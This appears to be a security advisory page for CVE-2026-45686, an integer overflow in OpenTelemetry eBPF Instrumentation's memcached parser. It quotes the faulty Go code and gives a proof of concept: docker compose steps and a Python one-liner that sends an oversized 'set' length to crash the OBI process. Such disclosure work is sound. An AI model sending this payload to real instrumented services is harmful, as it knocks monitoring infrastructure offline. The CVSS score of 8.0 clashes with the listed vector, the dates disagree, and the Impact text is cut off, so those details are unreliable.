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🛡️ CVE-2026-45686 — ebpf-instrumentation

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-190 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI

Summary

A remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek.

Details

The issue is in the memcached request parser at pkg/ebpf/common/memcached_detect_transform.go.

memcachedCommandBytesField parses the storage command <bytes> field with strconv.Atoi and only rejects negative values:

```go

size, err := strconv.Atoi(string(fields[4]))

if err != nil || size < 0 {

return 0, false

}

```

Because there is no upper bound check, values up to math.MaxInt are accepted.

memcachedConsumeStoragePayload then computes the payload length by adding the trailing \r\n delimiter length:

```go

payloadLen := bytesField + len(memcachedDelimBytes)

payload, err := r.Peek(payloadLen)

```

If bytesField is math.MaxInt or math.MaxInt-1, this addition overflows the signed int and produces a negative payloadLen.

That negative length is passed into LargeBufferReader.Peek in pkg/internal/largebuf/large_buffer.go. Peek checks whether n > Remaining() but does not reject negative values before slicing:

```go

if r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) {

return r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil

}

```

With a negative n, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.

Affected logic identified by the scan:

  • pkg/ebpf/common/memcached_detect_transform.go:322
  • pkg/ebpf/common/memcached_detect_transform.go:386
  • pkg/internal/largebuf/large_buffer.go:501

PoC

The repository already contains a runnable memcached fixture under internal/test/oats/memcached/. The steps below reproduce the crash using only files from this repository.

1. From the repository root, start the checked-in memcached environment:

```bash

docker compose \

-f internal/test/oats/memcached/docker-compose-include-base.yml \

-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \

up --build

```

This starts:

  • memcached on port 11211
  • testserver, the Python app in internal/test/integration/components/pythonmemcached/main.py
  • autoinstrumenter, the OBI process launched with --config=/configs/instrumenter-config-traces.yml

The relevant repo-local files are:

  • internal/test/oats/memcached/docker-compose-obi-python-memcached.yml
  • internal/test/oats/memcached/configs/instrumenter-config-traces.yml

2. In a second shell, confirm the environment is working:

```bash

curl http://127.0.0.1:8080/memcached

```

3. From the same repository root, send a crafted memcached storage command from inside the instrumented testserver container. On 64-bit systems, use 9223372036854775807 (math.MaxInt):

```bash

docker compose \

-f internal/test/oats/memcached/docker-compose-include-base.yml \

-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \

exec testserver \

python -c 'import socket; s=socket.create_connection(("memcached",11211), timeout=5); s.sendall(b"set crash 0 0 9223372036854775807\r\nvalue\r\n"); s.close()'

```

On 32-bit systems, replace 9223372036854775807 with 2147483647.

4. OBI parses the request header, accepts the <bytes> field as an int, and computes:

```go

payloadLen = bytesField + len("\r\n")

```

5. That addition overflows negative and the negative payloadLen is passed to LargeBufferReader.Peek, which slices with an invalid bound and panics.

6. Confirm the crash by checking the autoinstrumenter container status or logs:

```bash

docker compose \

-f internal/test/oats/memcached/docker-compose-include-base.yml \

-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \

ps autoinstrumenter

```

```bash

docker compose \

-f internal/test/oats/memcached/docker-compose-include-base.yml \

-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \

logs autoinstrumenter

```

The expected result is that the OBI process crashes with a panic originating from LargeBufferReader.Peek, with the call path including memcachedConsumeStoragePayload.

Impact

This is a remote denial-of-service vulnerability in OBI's memcached protocol parsing pa

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-45686 is classified as CWE-190: Integer Overflow or Wraparound. Arithmetic produces a value too large for its type and wraps around, so a later size or bounds check passes when it should not.

Affected software

CVE-2026-45686 is recorded against 2 packages.

  • ebpf-instrumentation (from 0.7.0 up to 0.9.0)
  • go.opentelemetry.io/obi

Timeline and source

Published on 2 June 2026 and last revised on 22 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

github.com
github.com
github.com

Other advisories for this package

ebpf-instrumentation has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-190: Integer Overflow or Wraparound) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-190
Public Exploit ⚠️ Yes
Source NVD
Published 2026-06-02
Updated 2026-08-20
Modified 2026-07-22
Fix URL N/A

Affected Packages

Software From version Fixed in
ebpf-instrumentation 0.7.0 0.9.0
go.opentelemetry.io/obi

Similar Threats

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